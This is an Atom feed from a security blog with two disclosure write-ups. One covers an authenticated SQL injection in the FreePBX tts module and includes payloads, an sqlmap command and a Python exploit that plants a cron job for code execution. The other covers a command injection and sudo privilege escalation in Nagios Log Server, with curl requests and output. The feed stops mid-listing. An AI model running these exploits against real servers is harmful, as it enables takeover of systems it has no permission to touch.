<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://theyhack.me/feed.xml" rel="self" type="application/atom+xml" /><link href="https://theyhack.me/" rel="alternate" type="text/html" /><updated>2026-03-05T01:20:40+00:00</updated><id>https://theyhack.me/feed.xml</id><title type="html">theyhack.me</title><subtitle>infosec, hacking, writeups, etc...</subtitle><author><name>M. Cory Billington</name></author><entry><title type="html">CVE-2025-67736 FreePBX Authenticated SQL Injection leads to RCE</title><link href="https://theyhack.me/CVE-2025-67736-FreePBX-Authenticated-SQL-Injection/" rel="alternate" type="text/html" title="CVE-2025-67736 FreePBX Authenticated SQL Injection leads to RCE" /><published>2026-02-07T00:00:00+00:00</published><updated>2026-02-07T00:00:00+00:00</updated><id>https://theyhack.me/CVE-2025-67736-FreePBX-Authenticated-SQL-Injection</id><content type="html" xml:base="https://theyhack.me/CVE-2025-67736-FreePBX-Authenticated-SQL-Injection/"><![CDATA[<h2 id="overview">Overview</h2>
<p>This will be fairly straight to the point since it’s another FreePBX vulnerability. It’s an authenticated SQLi, so not the end of the world as you’d need admin access, but it was a cool way to access a technique <a href="https://labs.watchtowr.com/you-already-have-our-personal-data-take-our-phone-calls-too-freepbx-cve-2025-57819/">watchTowr blogged about</a> to add a cron job to the freepbx database and get RCE.</p>

<p>Same as last time, easy reporting process through their <a href="https://github.com/FreePBX/security-reporting/security">security-reporting</a> page.</p>

<h3 id="technical-details">Technical details</h3>

<p>After authenticating to the FreePBX Administration GUI, the <a href="https://github.com/FreePBX/tts"><code class="language-plaintext highlighter-rouge">tts</code> module</a> is reachable using a request to:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://&lt;freepbx-host-or-ip&gt;/admin/config.php?display=tts&amp;view=form&amp;id=
</code></pre></div></div>

<p>The base page for the tts plugin when accessed through the administrative control panel is defined in <code class="language-plaintext highlighter-rouge">page.tts.php</code> <a href="https://github.com/FreePBX/tts/blob/fa058855be459cd94d3d8eacda7f6783ecb771ae/page.tts.php">here</a>. The important functionality is defined on line 38 <a href="https://github.com/FreePBX/tts/blob/fa058855be459cd94d3d8eacda7f6783ecb771ae/page.tts.php#L38">here</a>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>if(isset($_GET['view']) &amp;&amp; $_GET['view'] == 'form'){
	if (!empty($_GET['id']) || $action !== 'delete') {
		$tts = tts_get($_REQUEST['id'] ?? '');
		foreach ($tts as $key =&gt; $value) {
			$data[$key] = $value;
		}
	}
	show_view(__DIR__ . '/views/tts.php', $data);
}else{
	show_view(__DIR__ . '/views/grid.php', $data);
}
</code></pre></div></div>

<p>This loop checks for the HTTP GET request parameter view to be defined, and for it to be set to the value of form. If <code class="language-plaintext highlighter-rouge">view=form</code>, next the logic checks to see if the GET parameter <code class="language-plaintext highlighter-rouge">id</code> is set, and for <code class="language-plaintext highlighter-rouge">$action</code> to not be set to delete. If both of those conditions are met, the <code class="language-plaintext highlighter-rouge">id</code> parameter is then passed to the function <code class="language-plaintext highlighter-rouge">tts_get()</code>, which is defined in <code class="language-plaintext highlighter-rouge">functions.inc.php</code> on line 69 <a href="https://github.com/FreePBX/tts/blob/fa058855be459cd94d3d8eacda7f6783ecb771ae/functions.inc.php#L69">here</a>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>function tts_get($p_id) {
	global $db;

	$sql = "SELECT id, name, text, goto, engine FROM tts WHERE id=$p_id";
	return $db-&gt;getRow($sql, DB_FETCHMODE_ASSOC);
}
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">id</code> value set via HTTP GET request is passed into this function via the <code class="language-plaintext highlighter-rouge">$p_id parameter</code>. The vulnerability is on line 72 where the <code class="language-plaintext highlighter-rouge">$p_id</code> parameter is formatted into a defined SQL query with no checking, escaping, parameterizing, or typing. This query is then passed to the <code class="language-plaintext highlighter-rouge">getRow()</code> function on the next line where it is executed against the database.</p>

<p>This is fairly easy to demonstrate with a simple <code class="language-plaintext highlighter-rouge">curl</code> request as you can see the response time increase as the <code class="language-plaintext highlighter-rouge">SLEEP()</code> value is increased:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ time curl --cookie /tmp/cookie -s -XPOST --header 'Content-Type: application/x-www-form-urlencoded' --data 'username=admin&amp;password=ch[REDACTED]az'  http://192.168.1.115/admin/config.php -o /dev/null --next --cookie /tmp/cookie -s 'http://192.168.1.115/admin/config.php?display=tts&amp;view=form&amp;id=1+AND+(SELECT+1234+FROM+(SELECT(SLEEP(2)))test)' -o /dev/null

real	0m3.799s
user	0m0.006s
sys	0m0.005s
$ time curl --cookie /tmp/cookie -s -XPOST --header 'Content-Type: application/x-www-form-urlencoded' --data 'username=admin&amp;password=ch[REDACTED]az'  http://192.168.1.115/admin/config.php -o /dev/null --next --cookie /tmp/cookie -s 'http://192.168.1.115/admin/config.php?display=tts&amp;view=form&amp;id=1+AND+(SELECT+1234+FROM+(SELECT(SLEEP(5)))test)' -o /dev/null

real	0m6.840s
user	0m0.003s
sys	0m0.007s
</code></pre></div></div>
<p><a href="https://github.com/sqlmapproject/sqlmap">sqlmap</a> also discovers this easily with a command such as:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sqlmap -u 'http://192.168.1.115/admin/config.php?display=tts&amp;view=form&amp;id=1' -H 'Cookie: PHPSESSID=vb2f[REDACTED]2tri;' -p id --level 3 --risk 2 --dbms=mysql --banner --current-user --current-db --flush-session --fresh-queries --proxy http://127.0.0.1:8080
</code></pre></div></div>
<h3 id="chaining-sqli-to-remote-code-execution">Chaining SQLi to Remote Code Execution</h3>

<h4 id="-disclaimer-use-this-stuff-at-your-own-risk-personally-i-treat-anything-other-than-select-statements-as-playing-with-fire-and-take-extra-care-when-using-them-outside-of-a-lab-environemnt-">[ Disclaimer: use this stuff at your own risk. Personally, I treat anything other than <code class="language-plaintext highlighter-rouge">SELECT</code> statements as playing with fire, and take extra care when using them outside of a lab environemnt. ]</h4>

<p>I confirmed the attack path documented in <a href="https://labs.watchtowr.com/you-already-have-our-personal-data-take-our-phone-calls-too-freepbx-cve-2025-57819/">watchTowr’s blog post</a> also works here. You can leverage <code class="language-plaintext highlighter-rouge">sqlmap</code> to do this with the <code class="language-plaintext highlighter-rouge">--sql-query</code> functionality with a query such as this:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>--sql-query="INSERT INTO cron_jobs (modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order) VALUES ('sysadmin','rcejob','id &gt; /tmp/rceproof',NULL,'* * * * *',30,1,1)"
</code></pre></div></div>
<p>I would recommend watching the cron_jobs table while you test on the server with something like:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@debian-server:~# mysql -uroot -e 'use asterisk;select * from cron_jobs;'
</code></pre></div></div>
<p>And you should see a new row such as the following show up:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@debian-server:~# mysql -uroot -e 'use asterisk;select * from cron_jobs;'
+----+----------------------+-----------------------------------+-------------------------------------------------------------------------------------------------------------------------------+-----------------------------------------+--------------+-------------+---------+-----------------+
| id | modulename           | jobname                           | command                                                                                                                       | class                                   | schedule     | max_runtime | enabled | execution_order |
+----+----------------------+-----------------------------------+-------------------------------------------------------------------------------------------------------------------------------+-----------------------------------------+--------------+-------------+---------+-----------------+
...Omitted...
| 42 | sysadmin             | rcejob                            | id &gt; /tmp/rcetest                                                                                                             | NULL                                    | * * * * *    |          30 |       1 |               1 |
+----+----------------------+-----------------------------------+-------------------------------------------------------------------------------------------------------------------------------+-----------------------------------------+--------------+-------------+---------+-----------------+
</code></pre></div></div>
<p>I also wrote a quick python script that handles authentication and the injection to create a cron job. Example usage:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ python3 Documents/exploit.py http://192.168.1.115 admin ch[REDACTED]az 'id &gt; /tmp/rcetest'
[+] Login success!
[*] Sending SQLi payload to create cron job to execute 'id &gt; /tmp/rcetest'
[*] SQLi should have worked. Cron schedule is '* * * * *' so it may be a minute to execute
</code></pre></div></div>
<p><code class="language-plaintext highlighter-rouge">exploit.py</code> source:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>import requests
import sys

## Usage
# $ python3 Documents/exploit.py http://192.168.1.115 admin ch[REDACTED]az 'id &gt; /tmp/rcetest'
# [+] Login success!
# [*] Sending SQLi payload to create cron job to execute 'id &gt; /tmp/rcetest'
# [*] SQLi should have worked. Cron schedule is '* * * * *' so it may be a minute to execute

url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
cmd = sys.argv[4]

url = f"{url}/admin/config.php"

## Insert statement parameters hex encoded to avoid single quotes
modulename = 'sysadmin'.encode().hex()
jobname = 'rcejob'.encode().hex()
command = cmd.encode().hex()
schedule = '* * * * *'

## injection payload to create cron job
sqli_payload = f'1;INSERT INTO cron_jobs (modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order) VALUES (0x{modulename},0x{jobname},0x{command},NULL,0x{schedule.encode().hex()},30,1,1)#'

proxies = dict.fromkeys(['http', 'https'], 'http://127.0.0.1:8080')

with requests.Session() as s:
    s.verify = False

    ## Comment out if you don't want to proxy traffic through burp/etc
    s.proxies.update(proxies)

    login_payload = {
        "username": username,
        "password": password
    }

    login_res = s.post(url, data=login_payload)

    if 'Invalid Username or Password' in login_res.text:
        print(f"[-] Invalid username or password")
        exit()
    
    print(f"[+] Login success!")
    print(f"[*] Sending SQLi payload to create cron job to execute '{cmd}'")

    params = {
        "display": "tts",
        "view": "form",
        "id": sqli_payload
    }

    sqli_res = s.get(url, params=params)
    if sqli_res.status_code == 500:
        print(f"[*] SQLi should have worked. Cron schedule is '{schedule}' so it may be a minute to execute")
</code></pre></div></div>
<p>Upon running the script, it may take a moment for the cron job to execute.</p>

<h2 id="references">References:</h2>
<ul>
  <li>[GitHub advisory] Authenticated SQL Injection in FreePBX tts (Text To Speech) module
    <ul>
      <li><code class="language-plaintext highlighter-rouge">https://github.com/FreePBX/security-reporting/security/advisories/GHSA-632c-49p9-x7cw</code></li>
    </ul>
  </li>
</ul>]]></content><author><name>M. Cory Billington</name></author><summary type="html"><![CDATA[Overview This will be fairly straight to the point since it’s another FreePBX vulnerability. It’s an authenticated SQLi, so not the end of the world as you’d need admin access, but it was a cool way to access a technique watchTowr blogged about to add a cron job to the freepbx database and get RCE.]]></summary></entry><entry><title type="html">CVE-2025-34322 and CVE-2025-34323 - Rooting Nagios Log Server with AI! Just kidding, not really… Just an AI adjacent command injection.</title><link href="https://theyhack.me/Rooting-Nagios-Log-Server/" rel="alternate" type="text/html" title="CVE-2025-34322 and CVE-2025-34323 - Rooting Nagios Log Server with AI! Just kidding, not really… Just an AI adjacent command injection." /><published>2025-11-25T00:00:00+00:00</published><updated>2025-11-25T00:00:00+00:00</updated><id>https://theyhack.me/Rooting-Nagios-Log-Server</id><content type="html" xml:base="https://theyhack.me/Rooting-Nagios-Log-Server/"><![CDATA[<h2 id="overview">Overview</h2>

<p>I did a quick glance over Nagios Log server a couple months ago and wanted to share two vulnerabilities I reported. The authenticated command injection is kinda fun as it was in some AI functionality added in via a python script, and then the privilege escalation was due to some directory permissions that allow you to control a file that executes as root via <code class="language-plaintext highlighter-rouge">sudo</code>.</p>
<h3 id="authenticated-command-injection">Authenticated Command Injection</h3>
<p>Nagios Log Server is vulnerable to an authenticated command injection vulnerability in the <code class="language-plaintext highlighter-rouge">Natural Language Queries</code> experimental functionality. This functionality appears to enable various <a href="https://en.wikipedia.org/wiki/Large_language_model">Large Language Models</a> to assist in log file queries/interpretation. This appears to be accomplished using a python script that is invoked via <code class="language-plaintext highlighter-rouge">shell_exec()</code>. To enable this functionality, a selection is made within the <code class="language-plaintext highlighter-rouge">Global Settings</code> and, depending on which selection, various inputs are requested such as an API key, server IP/hostname, and port. These values are not checked for special characters. When leveraging the <code class="language-plaintext highlighter-rouge">Natural Language Queries</code> functionality via <code class="language-plaintext highlighter-rouge">/nagioslogserver/dashboard/natural_language_to_query</code> endpoint, these values pulled from the running configuration and leveraged in a formatted string without being escaped or checked, which is then passed to <code class="language-plaintext highlighter-rouge">shell_exec()</code>. This results in shell command execution as the <code class="language-plaintext highlighter-rouge">www-data</code> user.</p>

<h3 id="privilege-escalation">Privilege escalation</h3>
<p>The <code class="language-plaintext highlighter-rouge">www-data</code> user can execute various commands and scripts as <code class="language-plaintext highlighter-rouge">root</code> without a password. Three of these scripts are located within a directory where the <code class="language-plaintext highlighter-rouge">www-data</code> has write access by way of being in the <code class="language-plaintext highlighter-rouge">nagios</code> user group. This group has write access, therefore they can move (not modify) files owned by root and create new files within the directory. Therefore, the <code class="language-plaintext highlighter-rouge">www-data</code> user can move files that the <code class="language-plaintext highlighter-rouge">www-data</code> user has sudo execution rights as to another name (example would be <code class="language-plaintext highlighter-rouge">mv reconfigure_ncpa.sh reconfigure_ncpa.sh.bak</code>), and then create any arbitrary file in its place, allowing the <code class="language-plaintext highlighter-rouge">www-data</code> user to execute the new file containing arbitrary commands as the <code class="language-plaintext highlighter-rouge">root</code> user.</p>

<h2 id="technical-details">Technical Details</h2>

<h3 id="1-authenticated-command-injection-in-natural-language-queries-in-nagios-log-server">1. Authenticated Command Injection in Natural Language Queries in Nagios Log Server</h3>

<p>The <code class="language-plaintext highlighter-rouge">Natural Language Queries</code> is a <code class="language-plaintext highlighter-rouge">Experimental Features</code> that can be located under the <code class="language-plaintext highlighter-rouge">Global Settings</code> section. To stay focused on the vulnerable code, we will focus on the vulnerability sink below, and then discuss from there how the settings play into this vulnerability.</p>

<p>To perform a query using <code class="language-plaintext highlighter-rouge">Natural Language Queries</code> after it is enabled, users would make the following request:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">http://&lt;nagios-logserver-url&gt;/nagioslogserver/dashboard/natural_language_to_query?query=doesntmatter</code></li>
</ul>

<p>This can be observed in the code base as:</p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">http://&lt;nagios-logserver-url&gt;/nagioslogserver/&lt;controller&gt;/&lt;public-function&gt;?query=doesntmatter</code></li>
</ul>

<p>Controllers are located at the following path:</p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">/var/www/html/nagioslogserver/application/controllers/</code></li>
</ul>

<p>Below, we can follow what happens when this URL is requested:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># cat /var/www/html/nagioslogserver/application/controllers/Dashboard.php -n
     1	&lt;?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');
     2	
     3	class Dashboard extends LS_Controller
     4	{
     5	    private $offset = 0;
     6	
     7	    function __construct()
     8	    {
     9	        parent::__construct();
    10	
    11	        // Make sure that user is authenticated no matter what page they are on
    12	        require_install();
...Omitted for brevity...
   390	
   391	    public function natural_language_to_query() {
   392	        $input = isset($_GET['input']) ? $_GET['input'] : '';
   393	        $input = escapeshellarg($input);
   394	        $current_fields = isset($_GET['current_fields']) ? $_GET['current_fields'] : '';
   395	        $current_fields = escapeshellarg($current_fields);
   396	    
   397	        $api_key = trim(get_option("ai_api_key"));
   398	        $model = trim(get_option("ai_provider"));
   399	        $self_host_ip_address = trim(get_option("self_host_ip_address"));
   400	        $self_host_port = trim(get_option("ai_port"));
   401	        
   402	        $script =  '/usr/local/nagioslogserver/scripts/generate_log_query.py';
   403	    
   404	        if ($model == "self_hosted") {
   405	            $command = "python3.9 $script --model \"$model\" --provider_address \"$self_host_ip_address\" --provider_port \"$self_host_port\" --natural_language_query \"$input\" --current_fields \"$current_fields\"";
   406	        } else {
   407	            $command = "python3.9 $script --api_key \"$api_key\" --model \"$model\" --natural_language_query \"$input\" --current_fields \"$current_fields\"";
   408	        }
   409	    
   410	        $output = shell_exec($command);

</code></pre></div></div>
<p>In the code above, the function <code class="language-plaintext highlighter-rouge">natural_language_to_query()</code> is invoked when <code class="language-plaintext highlighter-rouge">http://&lt;nagios-logserver-url&gt;/nagioslogserver/dashboard/natural_language_to_query</code> is requested. We can see <code class="language-plaintext highlighter-rouge">$input</code> is set via an HTTP <code class="language-plaintext highlighter-rouge">GET</code> parameter. It is then escaped using the PHP function <code class="language-plaintext highlighter-rouge">escapeshellarg()</code>, therefore that is likely not going to be vulnerable to command injection, though argument injection in the <code class="language-plaintext highlighter-rouge">generate_log_query.py</code> is a possibility. We won’t be exploring that here though.</p>

<p>The exact same logic is true for the next two lines with the <code class="language-plaintext highlighter-rouge">$current_fields</code> parameter.</p>

<p>The interesting part starts with these lines of code:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>   397	        $api_key = trim(get_option("ai_api_key"));
   398	        $model = trim(get_option("ai_provider"));
   399	        $self_host_ip_address = trim(get_option("self_host_ip_address"));
   400	        $self_host_port = trim(get_option("ai_port"));
</code></pre></div></div>

<p>After those values are pulled from the configuration using the <code class="language-plaintext highlighter-rouge">get_option()</code>, the <code class="language-plaintext highlighter-rouge">$script</code> variable is set to a python script <code class="language-plaintext highlighter-rouge">/usr/local/nagioslogserver/scripts/generate_log_query.py</code>.</p>

<p>Finally, we reach the sink. We use a self-hosted AI model <code class="language-plaintext highlighter-rouge">self_hosted</code> (there does not actually need to be one) which creates the following command string:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$command = "python3.9 $script --model \"$model\" --provider_address \"$self_host_ip_address\" --provider_port \"$self_host_port\" --natural_language_query \"$input\" --current_fields \"$current_fields\"";
</code></pre></div></div>

<p>This command string is passed to <code class="language-plaintext highlighter-rouge">shell_exec()</code> which executes the command.</p>

<p>Each of the parameters can be injected into using command substitution such as:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>`id`
</code></pre></div></div>

<p>However, in order to inject into these parameters, we need to do so by setting configuration values in the <code class="language-plaintext highlighter-rouge">Global Settings</code> page. So, this exploit requires two requests:</p>
<ol>
  <li>Set the configuration values</li>
  <li>Make the request to invoke the Natural Language query</li>
</ol>

<p>The first, injecting a command into <code class="language-plaintext highlighter-rouge">self_hosted</code> will look like:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ curl -isk -H 'Cookie: csrf_ls=8f053ed2cb80988cea42d3ae3fc4415d; ls_session=3pap795eohmorm726nsnasvsgc1as9ou' --data 'csrf_ls=8f053ed2cb80988cea42d3ae3fc4415d&amp;natural_language_query=1&amp;nlp_disclaimer=on&amp;ai_provider=self_hosted&amp;self_host_ip_address=`id&gt;/var/www/html/nagioslogserver/www/scripts/test.txt`&amp;ai_port=8000&amp;saveglobals=1' http://192.168.122.198/nagioslogserver/admin/globals --proxy http://127.0.0.1:8080
HTTP/1.1 200 OK
Date: Sun, 07 Sep 2025 15:53:22 GMT
Server: Apache/2.4.65 (Debian)
Set-Cookie: csrf_ls=8f053ed2cb80988cea42d3ae3fc4415d; expires=Sun, 07 Sep 2025 17:53:22 GMT; Max-Age=7200; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 96046

&lt;!DOCTYPE html&gt;&lt;!--[if lt IE 7]&gt;
&lt;html class="no-js lt-ie9 lt-ie8 lt-ie7"&gt;
&lt;![endif]--&gt;&lt;!--[if IE 7]&gt;
&lt;html class="no-js lt-ie9 lt-ie8"&gt;
...Omitted for brevity...
</code></pre></div></div>
<p>It’s important to note, this can easily be accomplished via the dashboard as well at <code class="language-plaintext highlighter-rouge">http://&lt;nagios-logserver-url&gt;/nagioslogserver/admin/globals</code>. One would just enter the injected command:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>`id&gt;/var/www/html/nagioslogserver/www/scripts/test.txt`
</code></pre></div></div>
<p>into the <code class="language-plaintext highlighter-rouge">Server Address</code> field and then save. This is true for any of the fields.</p>

<p>Next, invoking the Natural Language Query will look like:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ curl -isk -H 'Cookie: csrf_ls=8f053ed2cb80988cea42d3ae3fc4415d; ls_session=3pap795eohmorm726nsnasvsgc1as9ou' http://192.168.122.198/nagioslogserver/dashboard/natural_language_to_query --proxy http://127.0.0.1:8080
HTTP/1.1 200 OK
Date: Sun, 07 Sep 2025 15:59:44 GMT
Server: Apache/2.4.65 (Debian)
Set-Cookie: csrf_ls=8f053ed2cb80988cea42d3ae3fc4415d; expires=Sun, 07 Sep 2025 17:59:44 GMT; Max-Age=7200; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 67
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/json

{"query":"Error: Model self_hosted not supported.","is_valid":true}
</code></pre></div></div>
<p>This request is what executes the injected command. We can ignore the error as it still executes. Because we redirected output to <code class="language-plaintext highlighter-rouge">/var/www/html/nagioslogserver/www/scripts/test.txt</code>, we can retrieve the output without authentication with the following curl command:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ curl -sk http://192.168.122.198/nagioslogserver/scripts/test.txt
uid=33(www-data) gid=33(www-data) groups=33(www-data),1001(nagios)
</code></pre></div></div>
<p>We can see successful command execution as the <code class="language-plaintext highlighter-rouge">www-data</code> user, with an interesting note that the <code class="language-plaintext highlighter-rouge">www-data</code> user is a member of the <code class="language-plaintext highlighter-rouge">nagios</code> group. More on that in the next section.</p>

<p>Python script for this exploit available here: <a href="/exploits/CVE-2025-34322.txt">CVE-2025-34322.txt</a></p>

<h3 id="2-privilege-escalation-via-sudo-rules-with-group-writable-directory">2. Privilege Escalation via sudo rules with group writable directory</h3>

<p>Using the previous command injection, we can enumerate sudo rules that can be run without a password as the <code class="language-plaintext highlighter-rouge">www-data</code> user:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ curl -s -H 'Cookie: csrf_ls=8f053ed2cb80988cea42d3ae3fc4415d; ls_session=3pap795eohmorm726nsnasvsgc1as9ou' --data 'csrf_ls=8f053ed2cb80988cea42d3ae3fc4415d&amp;natural_language_query=1&amp;nlp_disclaimer=on&amp;ai_provider=self_hosted&amp;self_host_ip_address=`sudo -l&gt;/var/www/html/nagioslogserver/www/scripts/test.txt`&amp;ai_port=8000&amp;saveglobals=1' http://192.168.122.198/nagioslogserver/admin/globals --proxy http://127.0.0.1:8080 -o /dev/null
$ curl -s -H 'Cookie: csrf_ls=8f053ed2cb80988cea42d3ae3fc4415d; ls_session=3pap795eohmorm726nsnasvsgc1as9ou' http://192.168.122.198/nagioslogserver/dashboard/natural_language_to_query --proxy http://127.0.0.1:8080 -o /dev/null
$ curl -sk http://192.168.122.198/nagioslogserver/scripts/test.txt
Matching Defaults entries for www-data on debian-nagios-logserver2:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User www-data may run the following commands on debian-nagios-logserver2:
    (root) NOPASSWD: /etc/init.d/logstash start
    (root) NOPASSWD: /etc/init.d/logstash stop
    (root) NOPASSWD: /etc/init.d/logstash restart
    (root) NOPASSWD: /etc/init.d/logstash reload
    (root) NOPASSWD: /etc/init.d/logstash status
    (root) NOPASSWD: /etc/init.d/opensearch start
    (root) NOPASSWD: /etc/init.d/opensearch stop
    (root) NOPASSWD: /etc/init.d/opensearch restart
    (root) NOPASSWD: /etc/init.d/opensearch reload
    (root) NOPASSWD: /etc/init.d/opensearch status
    (root) NOPASSWD: /usr/bin/systemctl start opensearch
    (root) NOPASSWD: /usr/bin/systemctl stop opensearch
    (root) NOPASSWD: /usr/bin/systemctl restart opensearch
    (root) NOPASSWD: /usr/bin/systemctl reload opensearch
    (root) NOPASSWD: /usr/bin/systemctl status opensearch
    (root) NOPASSWD: /usr/bin/systemctl start logstash
    (root) NOPASSWD: /usr/bin/systemctl stop logstash
    (root) NOPASSWD: /usr/bin/systemctl restart logstash
    (root) NOPASSWD: /usr/bin/systemctl reload logstash
    (root) NOPASSWD: /usr/bin/systemctl status logstash
    (root) NOPASSWD: /usr/bin/systemctl start httpd
    (root) NOPASSWD: /usr/bin/systemctl stop httpd
    (root) NOPASSWD: /usr/bin/systemctl restart httpd
    (root) NOPASSWD: /usr/bin/systemctl reload httpd
    (root) NOPASSWD: /usr/bin/systemctl status httpd
    (nagios) NOPASSWD: /usr/local/nagioslogserver/logstash/bin/logstash
    (root) NOPASSWD: /usr/local/nagioslogserver/scripts/get_logstash_ports.sh
    (root) NOPASSWD: /usr/local/nagioslogserver/scripts/profile.sh
    (root) NOPASSWD: /usr/local/nagioslogserver/scripts/reconfigure_ncpa.sh
    (root) NOPASSWD: /etc/init.d/ncpa start
    (root) NOPASSWD: /etc/init.d/ncpa stop
    (root) NOPASSWD: /etc/init.d/ncpa restart
    (root) NOPASSWD: /etc/init.d/ncpa reload
    (root) NOPASSWD: /etc/init.d/ncpa status
    (root) NOPASSWD: /usr/bin/systemctl start ncpa
    (root) NOPASSWD: /usr/bin/systemctl stop ncpa
    (root) NOPASSWD: /usr/bin/systemctl restart ncpa
    (root) NOPASSWD: /usr/bin/systemctl reload ncpa
    (root) NOPASSWD: /usr/bin/systemctl status ncpa
    (root) NOPASSWD: /usr/bin/ln -s /etc/openldap/cacerts/*
        /etc/pki/ca-trust/source/anchors/
    (root) NOPASSWD: /usr/bin/ln -s /etc/ldap/certs/*
        /usr/local/share/ca-certificates
    (root) NOPASSWD: /usr/bin/update-ca-trust extract
    (root) NOPASSWD: /usr/bin/update-ca-trust enable
    (root) NOPASSWD: /usr/bin/update-ca-certificates
    (root) NOPASSWD: /usr/sbin/update-ca-certificates
</code></pre></div></div>

<p>These three seem interesting:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    (root) NOPASSWD: /usr/local/nagioslogserver/scripts/get_logstash_ports.sh
    (root) NOPASSWD: /usr/local/nagioslogserver/scripts/profile.sh
    (root) NOPASSWD: /usr/local/nagioslogserver/scripts/reconfigure_ncpa.sh
</code></pre></div></div>

<p>By checking the <code class="language-plaintext highlighter-rouge">/usr/local/nagioslogserver/scripts</code> directory permissions, we observe that any <code class="language-plaintext highlighter-rouge">nagios</code> group member has write access to this directory:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># sudo -u www-data bash
www-data@debian-nagios-logserver2:/usr/local/nagioslogserver/scripts$ cd ..
www-data@debian-nagios-logserver2:/usr/local/nagioslogserver$ pwd
/usr/local/nagioslogserver
www-data@debian-nagios-logserver2:/usr/local/nagioslogserver$ ls -lah
total 44K
drwxrwxr-x 11 nagios nagios   4.0K Sep  7 16:34 .
drwxr-xr-x 12 root   root     4.0K Sep  7 16:29 ..
drwxrwxr-x  4 nagios nagios   4.0K Sep  7 16:20 etc
-rw-r--r--  1 root   root        0 Sep  7 16:34 .installed
drwxr-xr-x 14 nagios nagios   4.0K Sep  7 16:29 logstash
drwxrwxr-x  2 nagios nagios   4.0K Sep  7 16:20 mibs
drwxr-xr-x 12 nagios nagios   4.0K Sep  7 16:20 opensearch
drwxrwxr-x  5 nagios nagios   4.0K Sep  7 16:20 pythonvenv
drwxrwxr-x  3 nagios nagios   4.0K Sep  7 16:20 scripts
drwxrwxr-x  2 nagios nagios   4.0K Sep  7 16:36 snapshots
drwxrwxr-x  3 nagios www-data 4.0K Sep  7 16:36 tmp
drwxrwxr-x  2 nagios nagios   4.0K Sep  7 16:31 var

</code></pre></div></div>
<p>Write access to this directory means that members of this group can move files inside this directory even if they do not have write access to the file itself. For example, if we list out files in this directory:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ ls -lah
total 138M
drwxrwxr-x  3 nagios nagios 4.0K Sep  7 16:20 .
drwxrwxr-x 11 nagios nagios 4.0K Sep  7 16:34 ..
-r-xr-xr--  1 root   root   2.4K Sep  7 16:20 change_timezone.sh
-r-xr-xr--  1 nagios nagios 5.1K Sep  7 16:20 check_ai_key.sh
-r-xr-xr--  1 nagios nagios 2.3K Sep  7 16:20 create_backup.sh
-r-xr-xr--  1 nagios nagios 3.8K Sep  7 16:20 dump_index.php
-r-xr-xr--  1 nagios nagios 137M Sep  7 16:20 elasticdump
dr-xr-xr--  2 nagios nagios 4.0K Sep  7 16:20 esdump
-r-xr-xr--  1 nagios nagios 8.3K Sep  7 16:20 generate_log_query.py
-r-xr-xr--  1 nagios nagios 1.2K Sep  7 16:20 generate_uuid.sh
-r-xr-xr--  1 nagios nagios 2.1K Sep  7 16:20 get_es_config.php
-r-xr-xr--  1 nagios nagios  722 Sep  7 16:20 get_logstash_config.php
-r-xr-xr--  1 root   root     85 Sep  7 16:20 get_logstash_ports.sh
-r-xr-xr--  1 nagios nagios 2.4K Sep  7 16:20 index_data_helper.php
-r-xr-xr--  1 nagios nagios  33K Sep  7 16:20 migrate_data.php
-r-xr-xr--  1 root   root    87K Sep  7 16:20 profile.sh
-r-xr-xr--  1 nagios nagios 1.5K Sep  7 16:20 reconfigure_ncpa.php
-r-xr-xr--  1 root   root    316 Sep  7 16:20 reconfigure_ncpa.sh
-r-xr-xr--  1 nagios nagios 1.9K Sep  7 16:20 reset_nagiosadmin_password.sh
-r-xr-xr--  1 nagios nagios 4.1K Sep  7 16:20 restore_backup.sh
